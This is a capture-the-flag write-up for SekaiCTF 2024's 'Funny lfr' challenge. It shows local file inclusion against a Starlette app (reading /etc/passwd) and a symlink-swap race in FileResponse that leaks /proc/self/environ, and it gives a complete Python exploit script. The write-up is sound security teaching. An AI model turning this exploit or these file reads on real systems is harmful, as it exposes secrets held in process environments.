SekaiCTF 2024 Funny lfr Writeup

Published: September 17, 2024, updated: January 6, 2025

This is a writeup for the SekaiCTF 2024 Funny lfr machine.

Challenge notes

Funny lfr

Author: irogir

❖ Note You can access the challenge via SSH: ncat -nlvp 2222 -c "ncat --ssl funny-lfr.chals.sekai.team 1337" & ssh -p2222 user@localhost

SSH access is only for convenience and is not related to the challenge.

Solution summary

Starlette’s FileResponse doesn’t handle files swapped out under it well. You can use this to trick it into reading out 0-size files, such as files contained in the /proc file system. With this method, you can read out the flag from /proc/self/environ and solve the challenge.

Solution

The steps to solving this challenge are:

  1. Investigate the source code.
  2. Test the local file inclusion mechanism.
  3. Understand how /proc file system file sizes work.
  4. Inspect the challenge machine on chals.sekai.team.
  5. Identify the conditions for triggering a race condition.
  6. Craft an exploit script and run it on a challenge machine.

Inspecting the Dockerfile and app source

First, I download the Dockerfile and app.py from the following URLs:

The app just serves any file that the user requests:

from starlette.applications import Starlette
from starlette.routing import Route
from starlette.responses import FileResponse


async def download(request):
    return FileResponse(request.query_params.get("file"))


app = Starlette(routes=[Route("/", endpoint=download)])

The app mainly relies on these three libraries:

To make debugging simpler, I adjust the Dockerfile to use a full Debian install. This is the full listing:

FROM debian:12

RUN apt update
RUN apt install -y python3 python3-pip python3-venv
RUN python3 -m venv /venv
RUN /venv/bin/pip install --no-cache-dir starlette uvicorn

WORKDIR /app

COPY app.py .

ENV FLAG="SEKAI{test_flag}"

CMD ["/venv/bin/uvicorn", "app:app", "--host", "0", "--port", "1337"]

The container host starts the app with the challenge flag in its process environment. You can solve the challenge by tricking the app into reading out its process environment and returning it in a HTTP response.

Testing for local file inclusion (LFI)

The Dockerfile builds and runs with podman using the following commands:

podman build --file Dockerfile -t funnylfr
podman run --replace -p 1337:1337 --name funnylfr funnylfr

Once the Funny lfr machine is running, I try to see if file inclusion works by running the following:

curl "localhost:1337/?file=/etc/passwd"

To no big surprise, this returns the contents of /etc/passwd.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

About /proc file system file sizes

The FLAG environment variable is in the process environment, not in a file. On Linux, applications can read out information about processes using the /proc file system. Conveniently, /proc/self contains the current process information. To read out the current processes environment variables, you can run

cat /proc/self/environ

Wouldn’t it be nice if the following command gave you the flag?

curl "localhost:1337/?file=/proc/self/environ"

Tragically, it doesn’t. Starlette’s FileReponse class needs to know the file size in advance to generate a correct Content-Length HTTP header. Files in /proc have a 0 size, with only few exceptions. The app has to read the file out first to know its size.

Because of that, the following response doesn’t resolve correctly in Starlette:

FileResponse("/proc/self/environ")

Starlette then wrongly assumes that the file has size 0, and acts all surprised and error out when there is something to read. Since Starlette’s FileResponse doesn’t support streaming responses and has to read the whole file, the download request at / crashes. It doesn’t give you an HTTP error code, though. You can only see an error message if you purposefully read “after” the server’s response.

HTTP responses aren’t meant to have their body read if the Content-Length is 0. In hindsight that makes sense, yo. The same goes for a fun bug where applications refuse to read the body of HTTP responses with the code 204 No Content. Again, that makes sense, since you would not tell a browser No Content and then give it a content, but it’s still somewhat surprising to most users.

Stack Overflow: why does Firefox have a problem with this 204 (No Content) response?

Before continuing with this conundrum, I poke around the machine a bit and connect to a freshly spawned instance.

Inspecting the machine

I use the SSH connection string as suggested by the challenge notes and connect to a fresh challenge instance:

ncat -nlvp 2222 -c "ncat --ssl funny-lfr-XXXXXXXXXXXX.chals.sekai.team 1337" &
  ssh -p2222 user@localhost

This machines runs on Kubernetes, judging by the contents of the /etc/hosts file:

user@funny-lfr-XXXXXXXX-700:~$ df
Filesystem     1K-blocks     Used Available Use% Mounted on
overlay         98831908 44033516  54782008  45% /
tmpfs              65536        0     65536   0% /dev
/dev/sda1       98831908 44033516  54782008  45% /etc/hosts
shm                65536        0     65536   0% /dev/shm
tmpfs           32926984        0  32926984   0% /proc/acpi
tmpfs           32926984        0  32926984   0% /proc/scsi
tmpfs           32926984        0  32926984   0% /sys/firmware
user@funny-lfr-XXXXXXXX-700:~$ cat /etc/hosts
# Kubernetes-managed hosts file. <------ kubernetes yoooo
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
fe00::0 ip6-mcastprefix
fe00::1 ip6-allnodes
fe00::2 ip6-allrouters
10.0.1.75       funny-lfr-XXXXXXXX-700

Finding a race condition

I investigate the code and determine why Starlette tried to return a response at all, despite the file being empty. I stumble upon this code:

# h11/_writers.py
# ...
class ContentLengthWriter(BodyWriter):
    # ...
    def send_data(self, data: bytes, write: Writer) -> None:
        self._length -= len(data)
        if self._length < 0:
            raise LocalProtocolError("Too much data for declared Content-Length")
        write(data)
# ...

Starlette delegates sending the Content-Length header to the h11 library. Starlette appears to first determine the size of the file using os.stat, and then pointlessly sends the file over to the client, even if it has 0 bytes:

# starlette/responses.py
# ...
class FileResponse(Response):
    # ...
    def __init__(
        self,
        path: str | os.PathLike[str],
        # ...
    ) -> None:
        # ...
        self.stat_result = stat_result
        if stat_result is not None:
            self.set_stat_headers(stat_result)

    def set_stat_headers(self, stat_result: os.stat_result) -> None:
        # HTTP header Content-Length comes from os.stat()
        content_length = str(stat_result.st_size)
        # ....
        self.headers.setdefault("content-length", content_length)
        # ...

    async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None:
        if self.stat_result is None:
            try:
                stat_result = await anyio.to_thread.run_sync(os.stat, self.path)
                self.set_stat_headers(stat_result)
            # ...
        await send(
            {
                "type": "http.response.start",
                "status": self.status_code,
                "headers": self.raw_headers,
            }
        )
        # ...
            async with await anyio.open_file(self.path, mode="rb") as file:
                more_body = True
                while more_body:
                    # !!!!!
                    # Starlette will try to read out the full file, even if
                    # the os.stat() size is 0!
                    chunk = await file.read(self.chunk_size)
                    more_body = len(chunk) == self.chunk_size
                    await send(
                        {
                            "type": "http.response.body",
                            "body": chunk,
                            "more_body": more_body,
                        }
                    )
        # ...

Calling send, receive, invoke h11 code, including the one shown here. uvicorn bridges the preceding h11 functions and Starlette.

Starlette reads out the file size and reads file chunks even if the file size is 0. This suggests that the FileResponse code is vulnerable to a race condition.

You can trigger the h11 LocalProtocolError by running the following Curl invocation:

curl --http0.9 "localhost:1337/?file=/proc/self/environ" \
  "localhost:1337/?file=/proc/self/environ"

By reading too much from the first request, an attacker can coax the app into running FileResponse.__call__() until the end, and triggering the h11 exception as shown below in the app log. The Curl client notices nothing and receives a 200 OK response every time.

INFO:     127.0.0.1:56022 - "GET /?file=/proc/self/environ HTTP/1.1" 200 OK
ERROR:    Exception in ASGI application
[...]
  File "/usr/local/lib/python3.9/site-packages/starlette/responses.py", line 348, in __call__
    await send(
  File "/usr/local/lib/python3.9/site-packages/starlette/_exception_handler.py", line 50, in sender
    await send(message)
  File "/usr/local/lib/python3.9/site-packages/starlette/_exception_handler.py", line 50, in sender
    await send(message)
  File "/usr/local/lib/python3.9/site-packages/starlette/middleware/errors.py", line 161, in _send
    await send(message)
  File "/usr/local/lib/python3.9/site-packages/uvicorn/protocols/http/h11_impl.py", line 503, in send
    output = self.conn.send(event=h11.Data(data=data))
  File "/usr/local/lib/python3.9/site-packages/h11/_connection.py", line 512, in send
    data_list = self.send_with_data_passthrough(event)
  File "/usr/local/lib/python3.9/site-packages/h11/_connection.py", line 545, in send_with_data_passthrough
    writer(event, data_list.append)
  File "/usr/local/lib/python3.9/site-packages/h11/_writers.py", line 65, in __call__
    self.send_data(event.data, write)
  File "/usr/local/lib/python3.9/site-packages/h11/_writers.py", line 91, in send_data
    raise LocalProtocolError("Too much data for declared Content-Length")
h11._util.LocalProtocolError: Too much data for declared Content-Length
INFO:     127.0.0.1:56026 - "GET /?file=/proc/self/environ HTTP/1.1" 200 OK

The following is Starlette’s FileResponse behavior when reading /proc file system files:

  1. A client requests a file /proc/self/environ file from the app.
  2. The app evaluates the file size (size 0) and stores it in the FileResponse class instance.
  3. The app sets the headers and sends them using h11 (await send({"type": "http.response.start"})) inside FileResponse.call().
  4. The app reads out the file in the same function using anyio.open_file() and chunk by chunk (await file.read(self.chunk_size). It then sends it using h11 (await send({"type": "http.response.body", ...})).
  5. h11 complains that there is nothing to return and the request crashes with Too much data for declared Content-Length.

If I can convince Starlette that the file has a proper size, Starlette can read out the whole file. The kernel has hard-coded the file sizes in the /proc file system. You can give Starlette a different file with the correct size, have it os.stat its size. Then, swap it out for a symbolic to /proc/self/environ and it reads out this file instead.

The evil exploit performs the following steps:

  1. The evil exploit chooses an arbitrary size i.
  2. The evil exploit writes a canary file containing i times the ASCII character f in /tmp/pwnage (classic debug trick: write ASCII chars that pop out immediately).
  3. The evil exploit requests the file /tmp/pwnage file from the app.
  4. The app evaluates the file size (size i) and stores them in the FileResponse class instance.
  5. The app sets the headers and sends them using h11 (await send({"type": "http.response.start"})) inside FileResponse.call().
  6. The evil exploit swaps out /tmp/pwnage and places a symbolic link to /proc/self/environ there instead.
  7. The app reads out the file in the same function using anyio.open_file() and reads out chunk by chunk (await file.read(self.chunk_size) and sent using h11 (await send({"type": "http.response.body", ...})).
  8. If the app doesn’t return the file in its response, pick a different size i and go back to step 2
  9. The evil exploit receives the flag in /proc/self/environ through the /tmp/pwnage symbolic link.

Crafting an exploit Python script

Knowing that I have to stall the app as much as possible between sending the response header and body, I craft the following exploit in Python:

import os
import os.path
import http.client
import tempfile
from typing import Optional

# The file that I need to read out:
target = '/proc/self/environ'
# The smallest size of `i` to try
min_len = 4
# The largest size of `i` to try
max_len = 2000

def attempt(len: int) -> Optional[bytes]:
    conn = http.client.HTTPConnection("localhost", 1337)
    try:
        while True:
            with tempfile.TemporaryDirectory() as tmpdir:
                read_here_path = os.path.join(tmpdir, "read_here")
                symlink_path = os.path.join(tmpdir, "target")
                # 1. Given size `i`,
                # 2. Create the canary file
                canary = b'f' * len
                with open(read_here_path, "wb") as fd:
                    fd.write(canary)
                    fd.close()
                os.symlink(target, symlink_path)
                # 3. Request the file from the server
                # 4. Starlette will think that the file has length `i`
                # 5. Starlette sends Content-Length: `i` header back
                conn.request("GET", "/?file=" + read_here_path)
                response = conn.getresponse()
                # 6. Swap the canary file with symlink to `/proc/self/environ`
                os.replace(symlink_path, read_here_path)
                # 7. Starlette gives us the target file now
                data = response.read(len)
                # 8. If the file is full of our canary `f` ASCII character, I
                # know that the race condition was not triggered
                if data == canary:
                    print("try again")
                # 8. If the file is empty, we know that we triggered the race
                # condition, but guessed the wrong length
                elif data == b"":
                    print("almost", len)
                    return None
                # 9. If we have a proper answer, we have our file:
                else:
                    print("yes", len)
                    return data
    finally:
        conn.close()

def main():
    # Try from 4 ... 2000 until Starlette gives us the desired response
    for i in range(min_len, max_len):
        result = attempt(i)
        if result is not None:
            print(result)
            return


if __name__ == "__main__":
    main()

I connect to the Funny lfr instance, copy the exploit, and run it there by pasting the following snippet into the shell:

cat > client.py <<EOF
# script created before goes here
EOF
python3 client.py

The script runs for a while, extracts the process environment, and I retrieve the flag.

Tags

I would be thrilled to hear from you! Please share your thoughts and ideas with me via email.

Back to Index